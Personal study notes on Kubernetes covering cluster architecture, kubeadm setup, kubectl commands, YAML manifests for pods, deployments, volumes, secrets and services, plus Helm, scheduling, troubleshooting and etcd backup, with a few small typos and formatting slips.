1. Master
   • Api Server: Gateway to the cluster. Also acts as a gatekeeper for authentication (to make sure that only authorized requests get through the cluster)
   • Cloud Controller Manager: Connects on-premise cluster to cloud
   • Controller Manager: detects cluster state changes & recovers cluster state ASAP.
   • Scheduler: Selects appropriate node to create the pod. Note here that Scheduler just decides on which node to schedule. It is kubelet that starts the pod.
   • ETCD: Cluster Database (the cluster state that Controller manager checks & resources that Scheduler decides based on them are all stored in etcd)
2. Worker
   • kubelet: used to deploy and start an object (like pod) on local nodes.
   • kube-proxy: forwards requests from services to pods. request → service → kube-proxy → pod

Terminology

• Node : Hosts that run Kubernetes applications
• Containers : Units of packaging
• Pods : Containers are not managed individually; instead, they are part of a larger object called a Pod. A Pod consists of one or more containers which share an IP address, access to storage and namespace.
• Namespace : Kubernetes uses namespaces to keep objects distinct from each other, for resource control and multitenant considerations.
• Service : Collection of pods exposed as an endpoint
• Deployment : a deployment file can define the number of copies (or replicas, as they’re known in Kubernetes) of a given pod. Or a deployment can upgrade an existing pod to a new application version by updating the base container image.
• CRI (Container Runtime Interface): CRI is an interface that k8s uses to talk to different container runtimes (docker, containerd, cri-o, …). CRI is a set of tools that define what container runtime must implement & how it should be implemented to be pluggable to kubernetes as a container runtime.

Kubelet --> CRI --> Container Runtime

Docker did not implement CRI rules. K8s added dockershim layer to support docker:

kubelet --> CRI --> dockershim --> Docker

kubernetes Installation

• To install on both master & worker:
  1. Container runtime
  2. Kubelet
  3. Kube-proxy
• To install on master:
  • api-server
  • scheduler
  • controller-manager
  • etcd (all master components are deployed as static pods)
• Certificates: we should generate a self-signed CA certificate for the whole cluster & sign all other component certificates with it.

Regular pod scheduling : API Server gets request → scheduler selects node → kubelet schedules pods Static Pod Scheduling: kubelet directly schedules static pods (by watching a specific loc: “/etc/kubernetes/manifest”)

Kubeadm

(kubeadm is a command-line tool used for bootstrapping a best practice k8s cluster) For this purpose, we need to 1. install kubeadm on each node first, 2. then run $kubeadm init command (only once on one of the master nodes)

Kubeadm init phases:

1. Preflight :

   • checks to validate the system state before making changes.
   • Also pulling images for setting up k8s cluster

2. Certs :

   • Create /etc/kubernetes/pki directory.
   • generates a self-signed CA to setup identities for each component in the cluster.
     • apiserver.crt: used for others to connect and authenticate to apiserver.
     • ca.crt: self-signed CA of kubernetes. (signs other certificates)
     • /etc/kubernetes/pki/etcd: contains etcd certificates.

3. Kubeconfig :

   • Creates /etc/kubernetes dir (dir for config files).
   • for every client that needs to talk to apiserver, kubeconfig file will be generated (just like admin user). Creates admin.conf (kubeconfig file for admin user), kubelet.conf, controller-manager.conf, scheduler.conf in /etc/kubernetes dir.

4. Kubelet-start :

   • Creates /var/lib/kubelet/config.yaml folder
   • Writes kubelet settings (to above folder) and (re)start kubelet.

5. Control-plane :

   • Creates manifest folder /etc/kubernetes/manifest for static pods.
   • Creates static pod manifests. These pods will be scheduled by kubelet and will use kubeconfig files with certificates to talk to each other or apiserver.

6. Add-ons :

   • Installs DNS Server (CoreDNS)
   • Installs kube-proxy via apiserver

Access cluster after Configuration

Access k8s cluster == access api-server (api-server is the entry point to the cluster)

To connect to the cluster, we need:

1. Install kubectl: command line to connect to the cluster 2. Kubeconfig file: to Authenticate with cluster

The kubeconfig file contains:

1. Api server Address
2. Admin’s certificates & private key (users.user.client-certificate-data , users.user.client-key-data)

kubectl precedence of kubeconfig file:

1. File passed with –kubeconfig flag ($kubectl get nodes –kubeconfig /etc/kubernetes/admin.conf)
2. KUBECONFIG environment variable ($export KUBECONFIG=/etc/kubernetes/admin.conf)
3. File located in “$HOME/.kube/config” folder (default location where kubectl looks for)

Create a Yaml file :

Note that this file consist of 4 basic instruction:

1. apiVersion: v1 # This should be find from the output of below command

$ kubectl api-versions | grep -E "^apps/"

2. kind: Pod # kind of object we are creating.

3. metadata: # data about data (the name of object, namespace and label of object are defined in this part)

name: firstpod

4. spec: #The data that is for create of object(deployment, service,…).

containers:
    - image: nginx
      name: stan

Pod yaml file:

apiVersion: v1
kind: Pod
metadata:
    name: firstpod  #name of pod
spec:
    containers:
    - image: nginx  #base image of container
      name: stan    #container name

Kubectl Commands

• Debug commands:

  • Kubectl get:

    • $ kubectl get object E.g: kubectl get pod
    • $ kubectl get pod podname -o yaml > mypod.yaml #create yaml file from existing pod
    • $ kubectl get pod podname -o wide #see detail of a pod
    • $ kubectl get pod podname -w #see online updates
    • $ kubectl get pods --all-namespaces #see all pods in all namespaces
    • $ kubectl get -f pod.yaml -o json #List a pod identified by type and name specified in “pod.yaml” in JSON output format

  • Kubectl describe: Show details of a specific resource or group of resources. $ kubectl describe object

    E.g:

    • Describe a node

    $ kubectl describe nodes kubernetes-minion-emt8.c.myproject.internal
    $ kubectl describe pod <podname> 
    

    • Describe a pod identified by type and name in “pod.json”

    $ kubectl describe -f pod.json
    

  • Kubectl logs:

    • Return snapshot logs from pod nginx with only one container

    $ kubectl logs nginx
    

    • Return snapshot of previous terminated ruby container logs from pod web- 1

    $ kubectl logs -p -c ruby web- 1
    

• kubectl version: print the client and server version information.

$ kubectl version

• kubectl api-versions: Print the supported API versions on the server, in the form of “group/version”.

$ kubectl api-versions

• kubectl cluster-info: Display cluster info.

$ kubectl cluster-info

• kubectl explain: Documentation of resources

  E.g: Get the documentation of the resource and its fields

  $ kubectl explain pods
  

• kubectl cordon: This will mark the node as unschedulable and prevent new pods from arriving.

$ kubectl cordon worker

• kubectl uncordon:

$ kubectl uncordon worker

• kubectl drain: This will mark the node as unschedulable and also evict existing pods on the node.

$ kubectl drain worker

E.g: - Set the node labelled with name= ek8s-node as unavailable and reschedule all the pods running on it: bash $ kubectl drain ek8s-node --delete-local-data -ignore-daemonsets --force

• kubectl run:

$ kubectl run podname --image=image-name

• kubectl create (e.g. Deployment):
  • Imperative:

  $ kubectl create deployment <dpname> --image=<imagenme>
  

  • Declarative:

  $ kubectl create -f file.yml #there is a yaml file 
  

  E.g: Create a pod based on the JSON passed into stdin.

  $ cat pod.json | kubectl create -f
  

• Debug deployment:

    $ kubectl get deployment dp 
    $ kubectl get deployment --all-namespaces  
    $ kubectl describe deployment dp1

• kubectl Apply:

• kubectl delete:

$ kubectl delete pod <podname>
$ kubectl delete -f <yaml file>
$ kubectl delete pod <podname> --grace-period=0 #force delete of a pod in kubectl<=1.4
$ kubectl delete pod <podname> --grace-period=0 --force #force delete of a pod in kubectl>=1.5

• kubectl exec: to execute a command inside a container.

$ kubectl exec <podname> -c <containername> --<command>

E.g: - $kubectl exec mypod -c busybox --echo “Hello!” - $kubectl exec web-server2 -c redis2 -it -- bash

• kubectl replace: Replace a resource by filename. The replace command behaves kind of like a manual version of the edit command.

E.g: - Replace a pod using the data in pod.json. bash $ kubectl replace -f ./pod.json - Force replace, delete and then re-create the resource bash $ kubectl replace --force -f ./pod.json

• kubectl edit: The edit command allows you to directly edit any API resource you can retrieve via the command line tools. It opens the yaml file of the running resource or object.

E.g: - Edit the deployment named my-deployment and changes replicas from 3 to 15: bash $ kubectl edit deployment my-deployment Now it opens the yaml file of this running deployment and you can change it live.

• kubectl attach: Attach to a running container E.g:

  • Get output from running pod 123456-7890, using the first container by default.

  $ kubectl attach 123456-7890
  

  • Get output from ruby-container from pod 123456- 7890.

  $ kubectl attach 123456- 7890 - c ruby-container
  

• kubectl expose: Take a replication controller, service or pod and expose it as a new Kubernetes Service

E.g: - Create a service for a pod valid-pod, which serves on port 444 with the name “frontend” bash $kubectl expose pod valid-pod --port=444 --name=frontend - Create a service based on nginx service already existing, exposing the container port 8443 as port 443 with the name “nginx-https” bash $kubectl expose service nginx --port=443 --target-port=8443 --name=nginx-https

• kubectl label: Update the labels on a resource E.g:

  • Update pod ‘foo’ with the label ‘unhealthy’ and the value ’true’.

  $kubectl label pods foo unhealthy=true
  

  • Update pod ‘foo’ with the label ‘status’ and the value ‘unhealthy’, overwriting any existing value.

  $ kubectl label --overwrite pods foo status=unhealthy
  

  • Update all pods in the namespace

  $ kubectl label pods --all status=unhealthy
  

  • Update pod ‘foo’ by removing a label named ‘bar’ if it exists. Does not require the –overwrite flag.

  $ kubectl label pods foo bar
  

• kubectl scale: Set a new size for a Replication Controller, Job, or Deployment.

  • Scale replication controller named ‘foo’ to 3.

  $ kubectl scale --replicas=3 rc/foo
  

  • Scale a resource identified by type and name specified in “foo.yaml” to 3.

  $ kubectl scale --replicas=3 -f foo.yaml
  

  • If the deployment named mysql’s current size is 2, scale mysql to 3.

  $ kubectl scale --current-replicas=2 --replicas=3 deployment/mysql
  

  • Scale multiple replication controllers.

  $ kubectl scale --replicas=5 rc/foo rc/bar rc/baz
  

  • Scale job named ‘cron’ to 3.

  $ kubectl scale --replicas=3 job/cron
  

Label

By default, creating a Deployment with “kubectl create” adds a label with the name of deployment.

• Set label: in YAML file:

  1. Imperative:

  $ kubectl label pod <podName> image=nginx # label is image=nginx
  

  2. Declarative:

  Labels:
      app:test
  

• view pods with a Label:

$ kubectl get pod -l app=test00 #pods with app=test00 label 
$ kubectl get pod -L app #pods with app label 

• view labels of all pods

$kubectl get pods --show-labels

Namespace

Namespace is a virtual cluster. When you create a pod related to USSD product for example, it should be created in USSD namespace.

Context

When a user logs in to the namespace of a cluster, its called Context. Context is a user in the namespace of a cluster.

Namespace commands:

• Create namespace:
  • Imperative: $kubectl create ns test
  • Declarative:

  $ kubectl create ns test2 --dry-run=client -o yaml > test2.yaml $ kubectl create -f test2.yaml
  

• List namespaces:

$ kubectl get ns

• List all pods in all namespace:

$ kubectl get pods --all-namespaces

• Start a Pod in a namespace:

$ kubectl run nginx5 --image=nginx -n test

• List Pods in a namespace:

$ kubectl get pod --namespace test 
$ kubectl get pod -n test

• List all the resources that are not bound to a namespace

$ kubectl api-resources -namespaced=false

• To change the context and namespace both

$ kubectl config set-context --current --namespace=kube-system

• NameSpace yaml file:

apiVersion: v1
kind: Namespace
metadata:
    name: ns

Deployment

Deployment has benefits over pod:

1. Scale up & down: with “replica” argument. Two ways to make scale a deployment:
   1. Imperative:

   $ kubectl scale deployment.v1.apps/my-deployment --replicas= 5
   

   2. Declarative: in the YAML file:

   spec:
       replicas: 5
   

2. Rolling Update & RollBack: We have two Upgrade strategies:
   1. Recreate (causes downtime)
   2. Rolling update
   • Two ways to Upgrade a deployment:
     1. Imperative:

     $ kubectl set image deployment <dpName> nginx=nginx:1.9.1
     

     2. Declarative: in the YAML file:

     containers:
         - image:nginx:1.9.1
     

   • Check history of deployments:

   $kubectl rollout history deployment <dpName>
   

   • Rollback to the previous deployment

   $ kubectl rollout undo deployment test
   

   • Rollback to a specific revision

   $ kubectl rollout undo deployment test --to-revision=2
   

   • Mark the nginx deployment as paused. Any current state of the deployment will continue its function, new updates to the deployment will not have an effect as long as the deployment is paused.

   $kubectl rollout pause deployment/nginx
   

   • Resume an already paused deployment

   $ kubectl rollout resume deployment/nginx
   

   • Max Surge: Deployment ensures that only a certain number of Pods are created above the desired number of Pods. By default, it ensures that at most 125% of the desired number of Pods are up (25% max surge).

   • Max Unavailable: Deployment ensures that only a certain number of Pods are down while they are being upated. By default, it ensures that at least 75% of the desired number of Pods are up (25% max unavailable).

   • Deployment yml file: (Note: Template is the config of a Pod inside a deployment.(it has its own labels, …))

   apiVersion: apps/v1
   kind: Deployment
   metadata:
       name: nginx-deployment
       labels:                 #deployment label
           app: nginx
   spec:
       replicas: 3
       selector:
           matchLabels:
               app: nginx
       template:
           metadata:
               labels:         #container label
                   app: nginx
       spec:
           containers:
               - name: nginx
               image: nginx:1.14.2
               ports:
                   - containerPort: 80
   

   • ReplicaSet yaml file (same as deployment yaml file):

   apiVersion: v1
   kind: ReplicaSet
   metadata:
       name: rs-example
   spec:
       replicas: 3             #how many copies?
       selector:
           matchLabels:
               app: nginx      #select pods with label: app:nginx & env: prod
               env: prod
       template:
           <pod template>      #like yaml of pod. Image & other info about pod
   

DaemonSet

A DaemonSet makes sure that all of the Nodes in the Kubernetes Cluster run a copy of a Pod.

Some typical uses of a DaemonSet are:

• running a log collection daemon on every node
• running a node monitoring daemon on every node

DaemonSet yaml file:

apiVersion: apps/v1
kind: DaemonSet
metadata:
    name: my-daemonset
spec:
    selector:
        matchLabels:
            app: my-daemonset
    template:
        metadata:
            labels:
                app: my-daemonset
    spec:
        containers:
            - name: nginx
            image: nginx:1.19.1

Metric Server

In order to view metrics about the resources pods and containers are using, we need an add-on to collect and provide that data. such add-on is Kubernetes Metrics Server.

Installation:

$ vim metric.yaml
$ kubectl apply -f metric.yaml

Commands:

$ kubectl top pod <podname> --sort-by=cpu #use --sort-by option to select resource 
$ kubectl top pod <> --sort-by=cpu --all-namespaces #see pods in all namespaces 
$ kubectl top node --sort-by=memory #see nodes resource usage
$ kubectl top pod <> --sort-by=cpu --selector name=app #--selector to specify a label 

Volumes

Kubernetes Storage Requirements:

• Storage that doesn’t depend on the pod lifecycle.
• Storage must be available on all nodes.
• Storage needs to survive even if cluster crashes!

Persistent Volume(PV):

A volume that its lifetime is about clusters lifetime and will not be destroyed after pod stops.

PV is connected to pod through PVC (Persistent Volume Claim). Note that PV is not namespaced.

PV yaml file:

apiVersion: v1
kind: PersistentVolume
metadata:
    name: task-pv-volume
    labels:
        type: local
spec:
    storageClassName: standard              #in case u have longhorn u can set it to longhorn 
    capacity:
        storage: 100Mi                      #capacity.storage: The total amount of available storage.
    volumeMode: Filesystem #The type of volume, this can be either Filesystem or Block.
    persistentVolumeReclaimPolicy: Retain   #The behaviour for PVC s that have been deleted. Options include:Retain=manual clean up,Delete=storage asset deleted by provider.
    storageClassName: slow                  #Optional name of the storage class that PVC s can reference. If provided, ONLY PVC s referencing the name consume use it.
    accessModes:                            #A list of the supported methods of accessing the volume. Options include:
        - ReadWriteOnce                     #RWO means only a single pod will be able to (through a PVC) mount this. ROM means volume is Read-Only by many pods. RWM means, well, many pods can mount and write.
    mountOptions:                           #Optional mount options for the PV.
        - hard
        - nfsvers=4.
    hostPath:
        path: "/mnt/"

PVC yaml file:

apiVersion: v1
kind: PersistentVolumeClaim 
metadata:
    name: pv-volume
spec:
    storageClassName: standard
    resources:
        requests:
            storage: 10Mi                  #resources.requests.storage : The desired amount of storage for the claim (can be <= capacity of PV) 
    accessModes:                            #This MUST be a subset of what is defined on the target PV or Storage Class.
        - ReadWriteOnce
    volumeMode: Filesystem

PV, PVC & Pod yaml:

Note that to define volume in a pod u have to

1. Define volumes on pod level ( volumes: ). It is in the form of Name+Type
2. Mount volume into container( volumeMounts: )

apiVersion: apps/v1 
kind: Deployment 
metadata:
    name: my-db 
    labels:
        app: my-db
spec:
    replicas: 1
    selector:
        matchLabels:
            app: my-db
    template:
        metadata:
            labels:
                app: my-db
        spec:
            containers: 
                - name: mysql 
                  image: mysql:8.0 
                  volumeMounts:
                    - name: db-data
                      mountPath: "/var/lib/mysql"
            volumes:
            - name: db-data
              persistentVolumeClaim: 
                claimName: mysql-data-pvc

apiVersion: v1
kind: PersistentVolume
metadata:
    name: data-pv
spec:
    hostPath:
        path: "/mnt/data" 
    capacity:
        storage: 10Gi 
    accessModes:
        - ReadWriteMany

apiVersion: v1
kind: PersistentVolumeClaim
metadata:
    name: mysql-data-pvc
spec:
    resources:
        requests:
            storage: 5Gi
    accessModes:
        - ReadWriteMany

Common Types of volumes: Ephemeral, Persistent Volume(PV), Emptydir, hostPath, StorageClass

Ephemeral Volume: for apps that need storages that is not important after restart. E.g: cache server

Types of Ephemeral Volumes: emptydir, configMap, Secret Advantage: pods can restart or stop without dependency to storage.

EmptyDir:

In pod yaml file, spec.volumeMounts is about containers spec, and spec.volumes is about pod spec.

We specify types of volumes (emptyDir, hostPath,…) in spec.volume.

EmptyDir yaml file:

apiVersion: v1
kind: Pod
metadata:
    name: test-pd
spec:
    containers:
        - image: registry.k8s.io/test-webserver 
          name: test-container
          volumeMounts:                         #volumeMount is about container & u can see its under spec.container 
          - mountPath: /cache                   #path of volume in containers of the pod 
            name: cache-volume
    volumes:                                    #volume is about Pod 
    - name: cache-volume                        #this name should match the name parameter 
      emptyDir: {}

hostPath: mounts a file or directory from host to your pod.

hostPath yaml file:

apiVersion: v1
kind: Pod
metadata:
    name: web-server
spec:
    containers:
    - name: nginx
      image: nginx
      volumeMounts:
       - mountPath: "/usr/share/nginx/html"         #volume path in containers 
         name: pv-volume
    volumes:
    - name: pv-volume                               #names should match (name in volumes and name in volumeMounts) 
      hostPath:
        path: /data                                 #volume path in host

Storage Class:

Creates and Provisions Persistent Volumes dynamically in the background whenever PVC claims it.

Storage Class Yaml file:

apiVersion: storage.k8s.io/v 
kind: StorageClass
metadata:
    name: storage-class-name
provisioner: kubernetes.io/aws-ebs              #which provisioner(external or internal(kubernetes.io is internal)) to create PV out of it.
parameters:
    type: io1
    iopsPerGB: "10"
    fsType: ext4

PVC for Storage Class:

apiVersion: v1
kind: PersistentVolumeClaim 
metadata:
    name: mypvc
spec:
    accessModes:
    - ReadWriteOnce
    resources:
        requests:
            storage: 100Gi
    storageClassName: storage-class-name

• kubectl get pv

Status:

• Available: PV is ready and available to use.
• Bound: PV has been bound to a claim.
• Released: the binding PVC is deleted, and PV is pending reclamation.
• Failed: an error has been encountered.

PVC looks to match a PV with following parametes:

1. Access Mode
2. StorageClassName
3. Capacity of PVC<=PV

ConfigMap

There are 3 ways to define ConfigMap:

1. Command line (using environment variable):

$ kubectl create configmap literal-example --from-literal="city=Ann Arbor" --from-literal=state=Michigan

configmap “literal-example” created 2. Pass as Environment variables:

$ cat info/city
Ann Arbor
$ cat info/state
Michigan
$ kubectl create configmap dir-example --from-file=info/

configmap “dir-example” created

3. As Config file (using volume):

apiVersion: v1
kind: ConfigMap
metadata:
    name: myconfigMap
data:                           #data: Contains key value pairs of ConfigMap contents.(key: state, value: Michigan) 
    state: Michigan
    city: Ann Arbor

Two ways of using ConfigMap in a pod

1. Using configMap as key value

spec:
    containers:
    - image: mysql:5.
      env:
        - name: MYSQL_ROOT_PASSWORD 
          valueFrom:
            configMapKeyRef:
                name: myconfigMap
                key: state

2. Mounting configMap as volumes**

volumeMounts:
    - mountPath: /configmapdir 
      name: my-configMap
volumes:
    - name: my-configMap
      configMap:
        name: myconfigMap

List configMaps:

• $ kubectl get cm
• $ kubectl describe cm cm

Secret

Pods access local data through volumes. But sometimes the data should not be local!

Two ways of creating a secret object:

1. yaml file

apiVersion: v1
kind: Secret
metadata:
    name: mysec
data:
    password: QWRtaW5AMTEwCg==

2. command line

$ kubectl create secret generic mysec #generic: creates secret from a local file/directory 
$ kubectl create secret generic mysec --from-literal=password=root #--from-literal sends parametes 

Two ways of using secret in a pod

1. using secrets via environment variables

spec:
    containers:
    - image: mysql:5.1
      env:
        - name: MYSQL_ROOT_PASSWORD
          valueFrom:
            secretKeyRef:
                name: mysec
                key: password

2. mounting secrets as volumes

    volumeMounts:
        - mountPath: /mysqlpassword
          name: mysql
volumes:
    - name: mysql
      secret:
        secretName: mysec

$ kubectl exec -it busybox --cat /mysqlpassword/password

List secrets:

$ kubectl get secret

Services

Service provides a way to expose an application running a set of pods. Clients make request to a service, which routes traffic to its pods load-balanced(by kube-proxy). There isn’t really any physical concept of a service in a cluster.

Service Types:

1. ClusterIP (accessible within k8s cluster)
2. NodePort (accessible outside k8s cluster)
3. LoadBalancer

ClusterIP

We only have port (to access pods) and targetport(to access containers).

create clusterIP service:

1. Yaml file
2. Command line:

$ kubectl run pod1 --image=nginx 
$ kubectl expose pod pod1 --name=service1 --port=80 --target-port=80 --type=clusterIP 

#debug
$ kubectl describe service service
$ kubectl get services

nodePort

just like clusterIP object with different of spec.type = nodePort

Downsides :

1. You can only expose one single service per port
2. You can pnly use ports in this range: 30000- 32767
3. If the k8s node IP changes, you have to deal with it

LoadBalancer

Exposes apps outside cluster, but use an external cloud loadbalancer to do so.

Downside : You need to create a service of type load balancer for each service (meaning you need an IP for each service you want to expose. Note that k8s is not responsible for Service type loadBalancer’s IP. It is an external IP.)

Ingress

History of ingress:

Service in k8s offers you :

1. Service discovery
2. Load Balancing
3. Expose apps

But the problem of service was that services did not have:

1. Capabilities of enterprise load balancers like nginx, haproxy, F5, … (e.g the service type Load Balancer only supports round-robin)
2. When u create a service of type Load Balancer , and u have a thousand services, the cloud provider charges u with 1000 IPs.(downside of service type LoadBalancer )

Ingress was added to k8s as a load balancer that solves above problems(first openshift solved this problem using openshift routes ). An API object that allows access to your Kubernetes services from outside the Kubernetes cluster. Traffic routing is controlled by rules defined on the Ingress resource. An ingress does not expose arbitrary ports (just 80 & 443).

Ingress only works with web application (http, https). If you have some else app like mongodb and you want to expose it outside of the cluster, you need to have node port running to expose your app. Ingress may provide load balancing , SSL termination & name-based virtual hosting.

flowchart LR
    A@{ shape: "circle", label: "Client" } -. "Ingress-Managed
    Load Balancer" .-> n2 -- "routing rules" --> n3
    n3 -->n4[Pod]
    n3 -->n5[Pod]
	subgraph B["Cluster"]
        n2@{ shape: "rounded", label: "Ingress" }
        n3@{ shape: "rounded", label: "Service" }
        n4
        n5
	end

Ingress Controller: A controller uses Ingress Rules to handle traffic to and from outside the cluster, usually with a load balancer. Ingress Contoller is a load balancer or API Gateway(api gateway offers u additional capabalities). Install Ingress Controller:

$ helm install my-release bitnami/nginx-ingress-controller 
$ helm ls
$ kubectl get pod --all-namespaces |grep -I ingress

Types of Ingress:

• Single service: This is Ingress backed by a single service where a single service is exposed. To define this, specify a default backend without any rules.
• Simple fanout: a single entrypoint (IP Address) is used to expose multiple services (based on the http URL being requested).
• Named Based Virtual Hosting: routing http traffic to multiple hostnames at the same IP.

Helm

kubernetes package manager | packages are called “Chart” Helm is a way for packaging kubernetes yaml files & distribute them in public or private registries.

Install:

$curl -fsSL - o get_helm.sh https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm- 3 
$chmod 700 get_helm.sh
$./get_helm.sh

Check helm version

$helm version

Add a chart repo:

$helm repo add bitnami https://charts.bitnami.com/bitnami #Get the latest list of charts: $helm repo update

List the charts you can Install:

$helm search repo nginx

Install a chart using Helm:

$helm install bitnami/mariadb --generate-name

List currently deployed repositories:

$helm repo list

List currently deployed charts:

$helm ls

Uninstall a release:

$helm uninstall mariadb- 1645460340

See info about a release:

$helm status mariadb- 1645460340 

Scheduling

Two mechanisms to select a node by scheduler:

1. Filtering : find nodes that are capable of scheduling → nodes that suit pods requirements.
2. Scoring : score nodes selected in the previous step.

Ways to assign a node to a pod

• NodeName: In pod spec.nodename we define name of the node we want directly. Note that if the node doesn’t exist, then the pod will not run.

NodeName yaml example:

apiVersion: v1
kind: Pod
metadata:
    name: nginx
spec:
    containers:
    - name: nginx
      image: nginx
    nodeName: kube- 01

• NodeSelector

  • Step1: label the node:

  $kubectl label node worker1 ntype=html #ntype=key , html= value 
  

  • Step2: in spec.nodeSelector of pod we define: ntype: html NodeSelector yaml example:

  apiVersion: v1
  kind: Pod
  metadata:
      name: nodeselector-pod
  spec:
      nodeSelector:
          ntype: html
      containers:
          - name: nginx
            image: nginx:1.19.1
  

  • Step3: to debug:

  $kubectl get node --show-labels
  

  • Step4: to delete label of a node:

  $kubectl label node worker1 ntype
  

• NodeAffinity: Node Affinity is a more flexible expression to schedule pods on node (over nodeName & …). Two types of nodeAffinity: (required: hard, preferred: soft)

  • requiredDuringSchedulingIgnoredDuringExecution:
    • requiredDuringScheduling : It says firmly to run pod if the following operator (In, NotIn , Exists, DoesNotExist ) is true.
    • IgnoredDuringExecution: when the affinity of a node changes, the pods will continue to run.
  • preferredDuringSchedulingIgnoredDuringExecution:
    • preferredDuringScheduling : if no matching found, go with the default mechanism of scheduler.

NodeAffinity yaml example:

apiVersion: v1
kind: Pod
metadata:
    name: with-node-affinity
spec:
    affinity:
        nodeAffinity:
            requiredDuringSchedulingIgnoredDuringExecution: 
                nodeSelectorTerms:
                - matchExpressions:
                    - key: ntype
                      operator: In
                      values:
                      - virus

• Taint & toleration: Taint usage: we want to have reserved nodes in the cluster. Toleration allows to run pods on taint nodes. Three taint effects of a node:

1. NoSchedule: pod will not be scheduled on rejected nodes.
2. PreferNoSchedule: system tries to avoid scheduling pods, but doesn’t guarantee it.
3. NoExecute: even pod that is running will be evicted.

To make a node schedulable or UnSchedulable:

$kubectl taint node <NodeName> key=value:<tainteffect>

e.g. taint worker1 with label hold=virus and NoSchedule tainteffect: $kubectl taint nodes worker1 hold=virus:NoSchedule

Yaml file of Pod that tolerates tainted node:

kind: pod
metadata:
    name: nginx
spec:
    toleration:
    - key: “hold”
      operator: “Equal”
      value: “virus”

Make above node schedulable (untaint):

$kubectl taint nodes worker 1 hold=virus:NoSchedule

Retrieve schedulable nodes:

$kubectl describe node <nodename> | grep -i taint 

Taints: <none>
#OR
Taints: node-role.kubernetes.io/master:NoSchedule

Retreieve taint state of all nodes:

$kubectl describe node | grep -i taint

T-Shoot

• If the k8s API Server is down, we get following error:

  $kubectl get nodes
  The connection to the server localhost:6443 was refused - did you specify the right host or port?
  

  T-Shoot:
  1. Is docker service and kubelet running on all nodes of cluster?
  2. Check whether the API server is down in /etc/kubernetes/manifests/kube-apiserver.yaml
• Check system pods:

$kubectl get pods -n kube-system

• Read logs:

$journalctl -u kubelet
$journalctl -u docker

• See /var/logs directory:

/var/logs/kube-apiserver.log
/var/logs/kube-scheduler.log
/var/logs/kube-controller-manager.log

• See logs inside a container:

$kubectl logs podName -c ContainerName

• Check DNS and kube-proxy: there is an image named nicolaka/netshoot that have tools for network tshoot:

$kubectl run tmp-shell --rm -i --tty --labels "app=test00" --image nicolaka/netshoot --/bin/bash

DNS in Kubernetes

CoreDNS: CoreDNS is the DNS Server in kubernetes cluster. It creates a record for a service so each pod “in the cluster” can reach the service by its name. CoreDNS has 2 replica pods in “kube-system” namespace for redundancy.

T-shoot DNS issues in cluster:

$kubectl get pods -n kube-system --show-labels #to see CoreDNS labels
$kubectl logs -n kube-system -l k8s-app=kube-dns #to see logs of both coreDNS pods (k8s-app=kube-dns is the coreDNS label)

Test coreDNS:

1. kubectl get svc -n kube-system | grep dns #the result shows the service of coreDNS pods and its IP.
2. Go to the container of the pod & check : /etc/resolve.conf —> The IP address of the nameserver is equal to ip address above.

FQDN : Fully Qualified Domain Name

When we want to talk to services in the same namespace: only name of service is required (e.g: myservice)

When we want to talk to services in the different namespace: we must include namespace as well (e.gmyservice.default)

Health Checking

Pod Lifecycle

1. Running: The Pod has been bound to a node, and all of the containers have been created. At least onecontainer is still running, or is in the process of starting or restarting.
2. Terminate: the pod’s goal is to change a configFile or create a directory or …, then it gets terminated.
3. Succeed: All containers in the Pod have terminated in success, and will not be restarted.
4. Failed: All containers in the Pod have terminated, and at least one container has terminated in failure. Thatis, the container either exited with non-zero status or was terminated by the system.

Probes in k8s

There are three types of probes to check if the pod is started and succeeded correctly.

1. Readiness : to check inside my pod if the Entrypoint or CMD commands are working correctly. to check inside Pod, we have 3 types of apps:
   • HTTP or HTTPS apps: they serve something based on HTTP (or HTTPS). we then receive 200 or 300. (the URLcalled returns 2XX or 3XX status code). This all means that the app inside pod is run correctly.
   • Apps are TCP: they listen on a port. (they are not HTTP). K8s will telnet the port (inside Pod) and if it cantelnet, it means the port is open and app inside Pod is working correctly.
   • App is not HTTP or TCP: (for instance its UDP). we can run a command inside the container and expect toreturn 0 (exit status).

Liveness :

Check containers status (Readiness checks Pod status). When something is wrong with livenessProbe, it means that the app has a problem in container layer.

Startup :

Startup probes were introduced for Java apps first. But now it has a different definition. It is usedwhen time for starting your app is unusual (e.g Java apps, that jar file takes a long time to start).

Check Health Parameters

• Check Interval: every what second should I call URL? (url for HTTP apps)
• Initial Delay: time needed to start up container until calling my app. time for all processes needed to startyour app.
• Success Threshold: In your check Interval, if your app succeeded 1 time (if set to 1), my app is startedcorrectly. now kubeproxy can route network to new Pod.
• Failed Threshold: when my app is failed up to Failed Threshold times (3 for example), it is in Failed State.

ETCD

Backup ETCD

ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 \
--cacert=<trusted-ca-file> --cert=<cert-file> --key=<key-file> \
snapshot save <backup-file-location>

Use above certificates from below command:

$cat /etc/kubernetes/manifests/etcd.yaml | grep /etc/kubernetes/pki/

Example of backup from etcd:

$ETCDCTL_API=3 etcdctl --endpoints="https://192.168.4.42:2379" --cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key \
snapshot save /etc/data/etcdsnapshot.db 

Verify the Snapshot: We don’t need authentication for below command:

ETCDCTL_API=3 etcdctl --write-out=table snapshot status <backup-file-location>

Restore ETCD

Example of restore from etcd:

sudo ETCDCTL_API=3 etcdctl snapshot restore /home/cloud_user/etcd_backup.db \
--initial-cluster etcd-restore=https://10.0.1.101:2380 \
--initial-advertise-peer-urls https://10.0.1.101:2380 \
--name etcd-restore \ 
--data-dir /var/lib/etcd

Verify Restore:

kubectl get all

Security (CKS)

Access to K8s API:

flowchart LR
    A --> B
    C --> B
    B --> D
    D --> E
    E --> F

	subgraph B ["Authentication"]
		n2
	end
	
    subgraph D ["Authorization"]
		n3
	end
	
subgraph E ["Admission Control"]
		n4
	end
	
subgraph F ["Kubernetes Objects"]
		n5[" "]
        
	end
    A@{ shape: "circle", label: "Human User (kubectl)" }
	C@{ shape: "circle", label: "Pod (Service Account)" }
    n2@{ shape: "text", label: "Checks whether the requester is a valid user who can access the cluster" }
    n3@{ shape: "text", label: "Checks whether user is authorized to perform requested actions" }
	n4@{ shape: "text", label: "Checks whether request is secure and compliant" }
	n5@{ shape: "cyl" }

Authentication

Both human users and Kubernetes service accounts can be authorized for API access. Whenever we call API (with kubectl command), we are authenticated.

The API serves on port 443, and all k8s components are protected by TLS with API.

